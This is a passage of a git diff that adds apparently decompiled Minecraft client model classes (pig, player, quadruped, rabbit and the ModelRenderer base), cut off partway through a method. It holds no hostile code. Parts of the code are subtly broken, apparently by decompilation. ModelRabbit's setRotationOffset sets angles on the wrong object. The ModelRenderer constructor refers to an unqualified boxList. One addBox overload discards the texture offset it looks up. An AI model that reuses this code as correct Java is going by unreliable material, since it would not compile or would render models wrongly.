+      ocelotFrontLeftLeg.rotationPointY = (ocelotFrontRightLeg.rotationPointY = 15.8F);
+      ocelotFrontLeftLeg.rotationPointZ = (ocelotFrontRightLeg.rotationPointZ = -7.0F);
+      ocelotBackLeftLeg.rotateAngleX = (ocelotBackRightLeg.rotateAngleX = -1.5707964F);
+      ocelotBackLeftLeg.rotationPointY = (ocelotBackRightLeg.rotationPointY = 21.0F);
+      ocelotBackLeftLeg.rotationPointZ = (ocelotBackRightLeg.rotationPointZ = 1.0F);
+      field_78163_i = 3;
+    }
+    else
+    {
+      field_78163_i = 1;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelPig.java b/src/minecraft/net/minecraft/client/model/ModelPig.java
new file mode 100644
index 0000000..43a7b7a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelPig.java
@@ -0,0 +1,18 @@
+package net.minecraft.client.model;
+
+public class ModelPig extends ModelQuadruped
+{
+  private static final String __OBFID = "CL_00000849";
+  
+  public ModelPig()
+  {
+    this(0.0F);
+  }
+  
+  public ModelPig(float p_i1151_1_)
+  {
+    super(6, p_i1151_1_);
+    head.setTextureOffset(16, 16).addBox(-2.0F, 0.0F, -9.0F, 4, 3, 1, p_i1151_1_);
+    childYOffset = 4.0F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelPlayer.java b/src/minecraft/net/minecraft/client/model/ModelPlayer.java
new file mode 100644
index 0000000..e5ddad7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelPlayer.java
@@ -0,0 +1,171 @@
+package net.minecraft.client.model;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+
+public class ModelPlayer extends ModelBiped
+{
+  public ModelRenderer field_178734_a;
+  public ModelRenderer field_178732_b;
+  public ModelRenderer field_178733_c;
+  public ModelRenderer field_178731_d;
+  public ModelRenderer field_178730_v;
+  private ModelRenderer field_178729_w;
+  private ModelRenderer field_178736_x;
+  private boolean field_178735_y;
+  private static final String __OBFID = "CL_00002626";
+  
+  public ModelPlayer(float p_i46304_1_, boolean p_i46304_2_)
+  {
+    super(p_i46304_1_, 0.0F, 64, 64);
+    field_178735_y = p_i46304_2_;
+    field_178736_x = new ModelRenderer(this, 24, 0);
+    field_178736_x.addBox(-3.0F, -6.0F, -1.0F, 6, 6, 1, p_i46304_1_);
+    field_178729_w = new ModelRenderer(this, 0, 0);
+    field_178729_w.setTextureSize(64, 32);
+    field_178729_w.addBox(-5.0F, 0.0F, -1.0F, 10, 16, 1, p_i46304_1_);
+    
+    if (p_i46304_2_)
+    {
+      bipedLeftArm = new ModelRenderer(this, 32, 48);
+      bipedLeftArm.addBox(-1.0F, -2.0F, -2.0F, 3, 12, 4, p_i46304_1_);
+      bipedLeftArm.setRotationPoint(5.0F, 2.5F, 0.0F);
+      bipedRightArm = new ModelRenderer(this, 40, 16);
+      bipedRightArm.addBox(-2.0F, -2.0F, -2.0F, 3, 12, 4, p_i46304_1_);
+      bipedRightArm.setRotationPoint(-5.0F, 2.5F, 0.0F);
+      field_178734_a = new ModelRenderer(this, 48, 48);
+      field_178734_a.addBox(-1.0F, -2.0F, -2.0F, 3, 12, 4, p_i46304_1_ + 0.25F);
+      field_178734_a.setRotationPoint(5.0F, 2.5F, 0.0F);
+      field_178732_b = new ModelRenderer(this, 40, 32);
+      field_178732_b.addBox(-2.0F, -2.0F, -2.0F, 3, 12, 4, p_i46304_1_ + 0.25F);
+      field_178732_b.setRotationPoint(-5.0F, 2.5F, 10.0F);
+    }
+    else
+    {
+      bipedLeftArm = new ModelRenderer(this, 32, 48);
+      bipedLeftArm.addBox(-1.0F, -2.0F, -2.0F, 4, 12, 4, p_i46304_1_);
+      bipedLeftArm.setRotationPoint(5.0F, 2.0F, 0.0F);
+      field_178734_a = new ModelRenderer(this, 48, 48);
+      field_178734_a.addBox(-1.0F, -2.0F, -2.0F, 4, 12, 4, p_i46304_1_ + 0.25F);
+      field_178734_a.setRotationPoint(5.0F, 2.0F, 0.0F);
+      field_178732_b = new ModelRenderer(this, 40, 32);
+      field_178732_b.addBox(-3.0F, -2.0F, -2.0F, 4, 12, 4, p_i46304_1_ + 0.25F);
+      field_178732_b.setRotationPoint(-5.0F, 2.0F, 10.0F);
+    }
+    
+    bipedLeftLeg = new ModelRenderer(this, 16, 48);
+    bipedLeftLeg.addBox(-2.0F, 0.0F, -2.0F, 4, 12, 4, p_i46304_1_);
+    bipedLeftLeg.setRotationPoint(1.9F, 12.0F, 0.0F);
+    field_178733_c = new ModelRenderer(this, 0, 48);
+    field_178733_c.addBox(-2.0F, 0.0F, -2.0F, 4, 12, 4, p_i46304_1_ + 0.25F);
+    field_178733_c.setRotationPoint(1.9F, 12.0F, 0.0F);
+    field_178731_d = new ModelRenderer(this, 0, 32);
+    field_178731_d.addBox(-2.0F, 0.0F, -2.0F, 4, 12, 4, p_i46304_1_ + 0.25F);
+    field_178731_d.setRotationPoint(-1.9F, 12.0F, 0.0F);
+    field_178730_v = new ModelRenderer(this, 16, 32);
+    field_178730_v.addBox(-4.0F, 0.0F, -2.0F, 8, 12, 4, p_i46304_1_ + 0.25F);
+    field_178730_v.setRotationPoint(0.0F, 0.0F, 0.0F);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    super.render(p_78088_1_, p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_);
+    GlStateManager.pushMatrix();
+    
+    if (isChild)
+    {
+      float var8 = 2.0F;
+      GlStateManager.scale(1.0F / var8, 1.0F / var8, 1.0F / var8);
+      GlStateManager.translate(0.0F, 24.0F * p_78088_7_, 0.0F);
+      field_178733_c.render(p_78088_7_);
+      field_178731_d.render(p_78088_7_);
+      field_178734_a.render(p_78088_7_);
+      field_178732_b.render(p_78088_7_);
+      field_178730_v.render(p_78088_7_);
+    }
+    else
+    {
+      if (p_78088_1_.isSneaking())
+      {
+        GlStateManager.translate(0.0F, 0.2F, 0.0F);
+      }
+      
+      field_178733_c.render(p_78088_7_);
+      field_178731_d.render(p_78088_7_);
+      field_178734_a.render(p_78088_7_);
+      field_178732_b.render(p_78088_7_);
+      field_178730_v.render(p_78088_7_);
+    }
+    
+    GlStateManager.popMatrix();
+  }
+  
+  public void func_178727_b(float p_178727_1_)
+  {
+    func_178685_a(bipedHead, field_178736_x);
+    field_178736_x.rotationPointX = 0.0F;
+    field_178736_x.rotationPointY = 0.0F;
+    field_178736_x.render(p_178727_1_);
+  }
+  
+  public void func_178728_c(float p_178728_1_)
+  {
+    field_178729_w.render(p_178728_1_);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, p_78087_7_);
+    func_178685_a(bipedLeftLeg, field_178733_c);
+    func_178685_a(bipedRightLeg, field_178731_d);
+    func_178685_a(bipedLeftArm, field_178734_a);
+    func_178685_a(bipedRightArm, field_178732_b);
+    func_178685_a(bipedBody, field_178730_v);
+  }
+  
+  public void func_178725_a()
+  {
+    bipedRightArm.render(0.0625F);
+    field_178732_b.render(0.0625F);
+  }
+  
+  public void func_178726_b()
+  {
+    bipedLeftArm.render(0.0625F);
+    field_178734_a.render(0.0625F);
+  }
+  
+  public void func_178719_a(boolean p_178719_1_)
+  {
+    super.func_178719_a(p_178719_1_);
+    field_178734_a.showModel = p_178719_1_;
+    field_178732_b.showModel = p_178719_1_;
+    field_178733_c.showModel = p_178719_1_;
+    field_178731_d.showModel = p_178719_1_;
+    field_178730_v.showModel = p_178719_1_;
+    field_178729_w.showModel = p_178719_1_;
+    field_178736_x.showModel = p_178719_1_;
+  }
+  
+  public void postRenderHiddenArm(float p_178718_1_)
+  {
+    if (field_178735_y)
+    {
+      bipedRightArm.rotationPointX += 1.0F;
+      bipedRightArm.postRender(p_178718_1_);
+      bipedRightArm.rotationPointX -= 1.0F;
+    }
+    else
+    {
+      bipedRightArm.postRender(p_178718_1_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelQuadruped.java b/src/minecraft/net/minecraft/client/model/ModelQuadruped.java
new file mode 100644
index 0000000..fce91e2
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelQuadruped.java
@@ -0,0 +1,91 @@
+package net.minecraft.client.model;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+
+public class ModelQuadruped extends ModelBase
+{
+  public ModelRenderer head = new ModelRenderer(this, 0, 0);
+  public ModelRenderer body;
+  public ModelRenderer leg1;
+  public ModelRenderer leg2;
+  public ModelRenderer leg3;
+  public ModelRenderer leg4;
+  protected float childYOffset = 8.0F;
+  protected float childZOffset = 4.0F;
+  private static final String __OBFID = "CL_00000851";
+  
+  public ModelQuadruped(int p_i1154_1_, float p_i1154_2_)
+  {
+    head.addBox(-4.0F, -4.0F, -8.0F, 8, 8, 8, p_i1154_2_);
+    head.setRotationPoint(0.0F, 18 - p_i1154_1_, -6.0F);
+    body = new ModelRenderer(this, 28, 8);
+    body.addBox(-5.0F, -10.0F, -7.0F, 10, 16, 8, p_i1154_2_);
+    body.setRotationPoint(0.0F, 17 - p_i1154_1_, 2.0F);
+    leg1 = new ModelRenderer(this, 0, 16);
+    leg1.addBox(-2.0F, 0.0F, -2.0F, 4, p_i1154_1_, 4, p_i1154_2_);
+    leg1.setRotationPoint(-3.0F, 24 - p_i1154_1_, 7.0F);
+    leg2 = new ModelRenderer(this, 0, 16);
+    leg2.addBox(-2.0F, 0.0F, -2.0F, 4, p_i1154_1_, 4, p_i1154_2_);
+    leg2.setRotationPoint(3.0F, 24 - p_i1154_1_, 7.0F);
+    leg3 = new ModelRenderer(this, 0, 16);
+    leg3.addBox(-2.0F, 0.0F, -2.0F, 4, p_i1154_1_, 4, p_i1154_2_);
+    leg3.setRotationPoint(-3.0F, 24 - p_i1154_1_, -5.0F);
+    leg4 = new ModelRenderer(this, 0, 16);
+    leg4.addBox(-2.0F, 0.0F, -2.0F, 4, p_i1154_1_, 4, p_i1154_2_);
+    leg4.setRotationPoint(3.0F, 24 - p_i1154_1_, -5.0F);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    
+    if (isChild)
+    {
+      float var8 = 2.0F;
+      GlStateManager.pushMatrix();
+      GlStateManager.translate(0.0F, childYOffset * p_78088_7_, childZOffset * p_78088_7_);
+      head.render(p_78088_7_);
+      GlStateManager.popMatrix();
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(1.0F / var8, 1.0F / var8, 1.0F / var8);
+      GlStateManager.translate(0.0F, 24.0F * p_78088_7_, 0.0F);
+      body.render(p_78088_7_);
+      leg1.render(p_78088_7_);
+      leg2.render(p_78088_7_);
+      leg3.render(p_78088_7_);
+      leg4.render(p_78088_7_);
+      GlStateManager.popMatrix();
+    }
+    else
+    {
+      head.render(p_78088_7_);
+      body.render(p_78088_7_);
+      leg1.render(p_78088_7_);
+      leg2.render(p_78088_7_);
+      leg3.render(p_78088_7_);
+      leg4.render(p_78088_7_);
+    }
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    float var8 = 57.295776F;
+    head.rotateAngleX = (p_78087_5_ / 57.295776F);
+    head.rotateAngleY = (p_78087_4_ / 57.295776F);
+    body.rotateAngleX = 1.5707964F;
+    leg1.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F) * 1.4F * p_78087_2_);
+    leg2.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F + 3.1415927F) * 1.4F * p_78087_2_);
+    leg3.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F + 3.1415927F) * 1.4F * p_78087_2_);
+    leg4.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F) * 1.4F * p_78087_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelRabbit.java b/src/minecraft/net/minecraft/client/model/ModelRabbit.java
new file mode 100644
index 0000000..f2f74da
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelRabbit.java
@@ -0,0 +1,192 @@
+package net.minecraft.client.model;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityRabbit;
+import net.minecraft.util.MathHelper;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ModelRabbit
+  extends ModelBase
+{
+  ModelRenderer rabbitLeftFoot;
+  ModelRenderer rabbitRightFoot;
+  ModelRenderer rabbitLeftThigh;
+  ModelRenderer rabbitRightThigh;
+  ModelRenderer rabbitBody;
+  ModelRenderer rabbitLeftArm;
+  ModelRenderer rabbitRightArm;
+  ModelRenderer rabbitHead;
+  ModelRenderer rabbitRightEar;
+  ModelRenderer rabbitLeftEar;
+  ModelRenderer rabbitTail;
+  ModelRenderer rabbitNose;
+  private float field_178701_m = 0.0F;
+  private float field_178699_n = 0.0F;
+  private static final String __OBFID = "CL_00002625";
+  
+  public ModelRabbit()
+  {
+    setTextureOffset("head.main", 0, 0);
+    setTextureOffset("head.nose", 0, 24);
+    setTextureOffset("head.ear1", 0, 10);
+    setTextureOffset("head.ear2", 6, 10);
+    rabbitLeftFoot = new ModelRenderer(this, 26, 24);
+    rabbitLeftFoot.addBox(-1.0F, 5.5F, -3.7F, 2, 1, 7);
+    rabbitLeftFoot.setRotationPoint(3.0F, 17.5F, 3.7F);
+    rabbitLeftFoot.mirror = true;
+    setRotationOffset(rabbitLeftFoot, 0.0F, 0.0F, 0.0F);
+    rabbitRightFoot = new ModelRenderer(this, 8, 24);
+    rabbitRightFoot.addBox(-1.0F, 5.5F, -3.7F, 2, 1, 7);
+    rabbitRightFoot.setRotationPoint(-3.0F, 17.5F, 3.7F);
+    rabbitRightFoot.mirror = true;
+    setRotationOffset(rabbitRightFoot, 0.0F, 0.0F, 0.0F);
+    rabbitLeftThigh = new ModelRenderer(this, 30, 15);
+    rabbitLeftThigh.addBox(-1.0F, 0.0F, 0.0F, 2, 4, 5);
+    rabbitLeftThigh.setRotationPoint(3.0F, 17.5F, 3.7F);
+    rabbitLeftThigh.mirror = true;
+    setRotationOffset(rabbitLeftThigh, -0.34906584F, 0.0F, 0.0F);
+    rabbitRightThigh = new ModelRenderer(this, 16, 15);
+    rabbitRightThigh.addBox(-1.0F, 0.0F, 0.0F, 2, 4, 5);
+    rabbitRightThigh.setRotationPoint(-3.0F, 17.5F, 3.7F);
+    rabbitRightThigh.mirror = true;
+    setRotationOffset(rabbitRightThigh, -0.34906584F, 0.0F, 0.0F);
+    rabbitBody = new ModelRenderer(this, 0, 0);
+    rabbitBody.addBox(-3.0F, -2.0F, -10.0F, 6, 5, 10);
+    rabbitBody.setRotationPoint(0.0F, 19.0F, 8.0F);
+    rabbitBody.mirror = true;
+    setRotationOffset(rabbitBody, -0.34906584F, 0.0F, 0.0F);
+    rabbitLeftArm = new ModelRenderer(this, 8, 15);
+    rabbitLeftArm.addBox(-1.0F, 0.0F, -1.0F, 2, 7, 2);
+    rabbitLeftArm.setRotationPoint(3.0F, 17.0F, -1.0F);
+    rabbitLeftArm.mirror = true;
+    setRotationOffset(rabbitLeftArm, -0.17453292F, 0.0F, 0.0F);
+    rabbitRightArm = new ModelRenderer(this, 0, 15);
+    rabbitRightArm.addBox(-1.0F, 0.0F, -1.0F, 2, 7, 2);
+    rabbitRightArm.setRotationPoint(-3.0F, 17.0F, -1.0F);
+    rabbitRightArm.mirror = true;
+    setRotationOffset(rabbitRightArm, -0.17453292F, 0.0F, 0.0F);
+    rabbitHead = new ModelRenderer(this, 32, 0);
+    rabbitHead.addBox(-2.5F, -4.0F, -5.0F, 5, 4, 5);
+    rabbitHead.setRotationPoint(0.0F, 16.0F, -1.0F);
+    rabbitHead.mirror = true;
+    setRotationOffset(rabbitHead, 0.0F, 0.0F, 0.0F);
+    rabbitRightEar = new ModelRenderer(this, 52, 0);
+    rabbitRightEar.addBox(-2.5F, -9.0F, -1.0F, 2, 5, 1);
+    rabbitRightEar.setRotationPoint(0.0F, 16.0F, -1.0F);
+    rabbitRightEar.mirror = true;
+    setRotationOffset(rabbitRightEar, 0.0F, -0.2617994F, 0.0F);
+    rabbitLeftEar = new ModelRenderer(this, 58, 0);
+    rabbitLeftEar.addBox(0.5F, -9.0F, -1.0F, 2, 5, 1);
+    rabbitLeftEar.setRotationPoint(0.0F, 16.0F, -1.0F);
+    rabbitLeftEar.mirror = true;
+    setRotationOffset(rabbitLeftEar, 0.0F, 0.2617994F, 0.0F);
+    rabbitTail = new ModelRenderer(this, 52, 6);
+    rabbitTail.addBox(-1.5F, -1.5F, 0.0F, 3, 3, 2);
+    rabbitTail.setRotationPoint(0.0F, 20.0F, 7.0F);
+    rabbitTail.mirror = true;
+    setRotationOffset(rabbitTail, -0.3490659F, 0.0F, 0.0F);
+    rabbitNose = new ModelRenderer(this, 32, 9);
+    rabbitNose.addBox(-0.5F, -2.5F, -5.5F, 1, 1, 1);
+    rabbitNose.setRotationPoint(0.0F, 16.0F, -1.0F);
+    rabbitNose.mirror = true;
+    setRotationOffset(rabbitNose, 0.0F, 0.0F, 0.0F);
+  }
+  
+  private void setRotationOffset(ModelRenderer p_178691_1_, float p_178691_2_, float p_178691_3_, float p_178691_4_)
+  {
+    rotateAngleX = p_178691_2_;
+    rotateAngleY = p_178691_3_;
+    rotateAngleZ = p_178691_4_;
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    
+    if (isChild)
+    {
+      float var8 = 2.0F;
+      GlStateManager.pushMatrix();
+      GlStateManager.translate(0.0F, 5.0F * p_78088_7_, 2.0F * p_78088_7_);
+      rabbitHead.render(p_78088_7_);
+      rabbitLeftEar.render(p_78088_7_);
+      rabbitRightEar.render(p_78088_7_);
+      rabbitNose.render(p_78088_7_);
+      GlStateManager.popMatrix();
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(1.0F / var8, 1.0F / var8, 1.0F / var8);
+      GlStateManager.translate(0.0F, 24.0F * p_78088_7_, 0.0F);
+      rabbitLeftFoot.render(p_78088_7_);
+      rabbitRightFoot.render(p_78088_7_);
+      rabbitLeftThigh.render(p_78088_7_);
+      rabbitRightThigh.render(p_78088_7_);
+      rabbitBody.render(p_78088_7_);
+      rabbitLeftArm.render(p_78088_7_);
+      rabbitRightArm.render(p_78088_7_);
+      rabbitTail.render(p_78088_7_);
+      GlStateManager.popMatrix();
+    }
+    else
+    {
+      rabbitLeftFoot.render(p_78088_7_);
+      rabbitRightFoot.render(p_78088_7_);
+      rabbitLeftThigh.render(p_78088_7_);
+      rabbitRightThigh.render(p_78088_7_);
+      rabbitBody.render(p_78088_7_);
+      rabbitLeftArm.render(p_78088_7_);
+      rabbitRightArm.render(p_78088_7_);
+      rabbitHead.render(p_78088_7_);
+      rabbitRightEar.render(p_78088_7_);
+      rabbitLeftEar.render(p_78088_7_);
+      rabbitTail.render(p_78088_7_);
+      rabbitNose.render(p_78088_7_);
+    }
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    float var8 = p_78087_3_ - ticksExisted;
+    EntityRabbit var9 = (EntityRabbit)p_78087_7_;
+    rabbitNose.rotateAngleX = (rabbitHead.rotateAngleX = rabbitRightEar.rotateAngleX = rabbitLeftEar.rotateAngleX = p_78087_5_ * 0.017453292F);
+    rabbitNose.rotateAngleY = (rabbitHead.rotateAngleY = p_78087_4_ * 0.017453292F);
+    rabbitRightEar.rotateAngleY = (rabbitNose.rotateAngleY - 0.2617994F);
+    rabbitLeftEar.rotateAngleY = (rabbitNose.rotateAngleY + 0.2617994F);
+    field_178701_m = MathHelper.sin(var9.func_175521_o(var8) * 3.1415927F);
+    rabbitLeftThigh.rotateAngleX = (rabbitRightThigh.rotateAngleX = (field_178701_m * 50.0F - 21.0F) * 0.017453292F);
+    rabbitLeftFoot.rotateAngleX = (rabbitRightFoot.rotateAngleX = field_178701_m * 50.0F * 0.017453292F);
+    rabbitLeftArm.rotateAngleX = (rabbitRightArm.rotateAngleX = (field_178701_m * -40.0F - 11.0F) * 0.017453292F);
+  }
+  
+  public void setLivingAnimations(EntityLivingBase p_78086_1_, float p_78086_2_, float p_78086_3_, float p_78086_4_) {}
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelRenderer.java b/src/minecraft/net/minecraft/client/model/ModelRenderer.java
new file mode 100644
index 0000000..84a200c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelRenderer.java
@@ -0,0 +1,350 @@
+package net.minecraft.client.model;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.List;
+import net.minecraft.client.renderer.GLAllocation;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import optifine.ModelSprite;
+import org.lwjgl.opengl.GL11;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ModelRenderer
+{
+  public float textureWidth;
+  public float textureHeight;
+  private int textureOffsetX;
+  private int textureOffsetY;
+  public float rotationPointX;
+  public float rotationPointY;
+  public float rotationPointZ;
+  public float rotateAngleX;
+  public float rotateAngleY;
+  public float rotateAngleZ;
+  private boolean compiled;
+  private int displayList;
+  public boolean mirror;
+  public boolean showModel;
+  public boolean isHidden;
+  public List cubeList;
+  public List childModels;
+  public final String boxName;
+  private ModelBase baseModel;
+  public float offsetX;
+  public float offsetY;
+  public float offsetZ;
+  private static final String __OBFID = "CL_00000874";
+  public List spriteList;
+  public boolean mirrorV;
+  float savedScale;
+  
+  public ModelRenderer(ModelBase p_i1172_1_, String p_i1172_2_)
+  {
+    spriteList = new ArrayList();
+    mirrorV = false;
+    textureWidth = 64.0F;
+    textureHeight = 32.0F;
+    showModel = true;
+    cubeList = Lists.newArrayList();
+    baseModel = p_i1172_1_;
+    boxList.add(this);
+    boxName = p_i1172_2_;
+    setTextureSize(textureWidth, textureHeight);
+  }
+  
+  public ModelRenderer(ModelBase p_i1173_1_)
+  {
+    this(p_i1173_1_, null);
+  }
+  
+  public ModelRenderer(ModelBase p_i46358_1_, int p_i46358_2_, int p_i46358_3_)
+  {
+    this(p_i46358_1_);
+    setTextureOffset(p_i46358_2_, p_i46358_3_);
+  }
+  
+
+
+
+  public void addChild(ModelRenderer p_78792_1_)
+  {
+    if (childModels == null)
+    {
+      childModels = Lists.newArrayList();
+    }
+    
+    childModels.add(p_78792_1_);
+  }
+  
+  public ModelRenderer setTextureOffset(int p_78784_1_, int p_78784_2_)
+  {
+    textureOffsetX = p_78784_1_;
+    textureOffsetY = p_78784_2_;
+    return this;
+  }
+  
+  public ModelRenderer addBox(String p_78786_1_, float p_78786_2_, float p_78786_3_, float p_78786_4_, int p_78786_5_, int p_78786_6_, int p_78786_7_)
+  {
+    p_78786_1_ = boxName + "." + p_78786_1_;
+    TextureOffset var8 = baseModel.getTextureOffset(p_78786_1_);
+    setTextureOffset(textureOffsetX, textureOffsetY);
+    cubeList.add(new ModelBox(this, textureOffsetX, textureOffsetY, p_78786_2_, p_78786_3_, p_78786_4_, p_78786_5_, p_78786_6_, p_78786_7_, 0.0F).func_78244_a(p_78786_1_));
+    return this;
+  }
+  
+  public ModelRenderer addBox(float p_78789_1_, float p_78789_2_, float p_78789_3_, int p_78789_4_, int p_78789_5_, int p_78789_6_)
+  {
+    cubeList.add(new ModelBox(this, textureOffsetX, textureOffsetY, p_78789_1_, p_78789_2_, p_78789_3_, p_78789_4_, p_78789_5_, p_78789_6_, 0.0F));
+    return this;
+  }
+  
+  public ModelRenderer addBox(float p_178769_1_, float p_178769_2_, float p_178769_3_, int p_178769_4_, int p_178769_5_, int p_178769_6_, boolean p_178769_7_)
+  {
+    cubeList.add(new ModelBox(this, textureOffsetX, textureOffsetY, p_178769_1_, p_178769_2_, p_178769_3_, p_178769_4_, p_178769_5_, p_178769_6_, 0.0F, p_178769_7_));
+    return this;
+  }
+  
+
+
+
+  public void addBox(float p_78790_1_, float p_78790_2_, float p_78790_3_, int p_78790_4_, int p_78790_5_, int p_78790_6_, float p_78790_7_)
+  {
+    cubeList.add(new ModelBox(this, textureOffsetX, textureOffsetY, p_78790_1_, p_78790_2_, p_78790_3_, p_78790_4_, p_78790_5_, p_78790_6_, p_78790_7_));
+  }
+  
+  public void setRotationPoint(float p_78793_1_, float p_78793_2_, float p_78793_3_)
+  {
+    rotationPointX = p_78793_1_;
+    rotationPointY = p_78793_2_;
+    rotationPointZ = p_78793_3_;
+  }
+  
+  public void render(float p_78785_1_)
+  {
+    if ((!isHidden) && (showModel))
+    {
+      if (!compiled)
+      {
+        compileDisplayList(p_78785_1_);
+      }
+      
+      GlStateManager.translate(offsetX, offsetY, offsetZ);
+      
+
+      if ((rotateAngleX == 0.0F) && (rotateAngleY == 0.0F) && (rotateAngleZ == 0.0F))
+      {
+        if ((rotationPointX == 0.0F) && (rotationPointY == 0.0F) && (rotationPointZ == 0.0F))
+        {
+          GlStateManager.callList(displayList);
+          
+          if (childModels != null)
+          {
+            for (int var2 = 0; var2 < childModels.size(); var2++)
+            {
+              ((ModelRenderer)childModels.get(var2)).render(p_78785_1_);
+            }
+          }
+        }
+        else
+        {
+          GlStateManager.translate(rotationPointX * p_78785_1_, rotationPointY * p_78785_1_, rotationPointZ * p_78785_1_);
+          GlStateManager.callList(displayList);
+          
+          if (childModels != null)
+          {
+            for (int var2 = 0; var2 < childModels.size(); var2++)
+            {
+              ((ModelRenderer)childModels.get(var2)).render(p_78785_1_);
+            }
+          }
+          
+          GlStateManager.translate(-rotationPointX * p_78785_1_, -rotationPointY * p_78785_1_, -rotationPointZ * p_78785_1_);
+        }
+      }
+      else
+      {
+        GlStateManager.pushMatrix();
+        GlStateManager.translate(rotationPointX * p_78785_1_, rotationPointY * p_78785_1_, rotationPointZ * p_78785_1_);
+        
+        if (rotateAngleZ != 0.0F)
+        {
+          GlStateManager.rotate(rotateAngleZ * 57.295776F, 0.0F, 0.0F, 1.0F);
+        }
+        
+        if (rotateAngleY != 0.0F)
+        {
+          GlStateManager.rotate(rotateAngleY * 57.295776F, 0.0F, 1.0F, 0.0F);
+        }
+        
+        if (rotateAngleX != 0.0F)
+        {
+          GlStateManager.rotate(rotateAngleX * 57.295776F, 1.0F, 0.0F, 0.0F);
+        }
+        
+        GlStateManager.callList(displayList);
+        
+        if (childModels != null)
+        {
+          for (int var2 = 0; var2 < childModels.size(); var2++)
+          {
+            ((ModelRenderer)childModels.get(var2)).render(p_78785_1_);
+          }
+        }
+        
+        GlStateManager.popMatrix();
+      }
+      
+      GlStateManager.translate(-offsetX, -offsetY, -offsetZ);
+    }
+  }
+  
+  public void renderWithRotation(float p_78791_1_)
+  {
+    if ((!isHidden) && (showModel))
+    {
+      if (!compiled)
+      {
+        compileDisplayList(p_78791_1_);
+      }
+      
+      GlStateManager.pushMatrix();
+      GlStateManager.translate(rotationPointX * p_78791_1_, rotationPointY * p_78791_1_, rotationPointZ * p_78791_1_);
+      
+      if (rotateAngleY != 0.0F)
+      {
+        GlStateManager.rotate(rotateAngleY * 57.295776F, 0.0F, 1.0F, 0.0F);
+      }
+      
+      if (rotateAngleX != 0.0F)
+      {
+        GlStateManager.rotate(rotateAngleX * 57.295776F, 1.0F, 0.0F, 0.0F);
+      }
+      
+      if (rotateAngleZ != 0.0F)
+      {
+        GlStateManager.rotate(rotateAngleZ * 57.295776F, 0.0F, 0.0F, 1.0F);
+      }
+      
+      GlStateManager.callList(displayList);
+      GlStateManager.popMatrix();
+    }
+  }
+  
+
+
+
+  public void postRender(float p_78794_1_)
+  {
+    if ((!isHidden) && (showModel))
+    {
+      if (!compiled)
+      {
+        compileDisplayList(p_78794_1_);
+      }
+      
+      if ((rotateAngleX == 0.0F) && (rotateAngleY == 0.0F) && (rotateAngleZ == 0.0F))
+      {
+        if ((rotationPointX != 0.0F) || (rotationPointY != 0.0F) || (rotationPointZ != 0.0F))
+        {
+          GlStateManager.translate(rotationPointX * p_78794_1_, rotationPointY * p_78794_1_, rotationPointZ * p_78794_1_);
+        }
+      }
+      else
+      {
+        GlStateManager.translate(rotationPointX * p_78794_1_, rotationPointY * p_78794_1_, rotationPointZ * p_78794_1_);
+        
+        if (rotateAngleZ != 0.0F)
+        {
+          GlStateManager.rotate(rotateAngleZ * 57.295776F, 0.0F, 0.0F, 1.0F);
+        }
+        
+        if (rotateAngleY != 0.0F)
+        {
+          GlStateManager.rotate(rotateAngleY * 57.295776F, 0.0F, 1.0F, 0.0F);
+        }
+        
+        if (rotateAngleX != 0.0F)
+        {
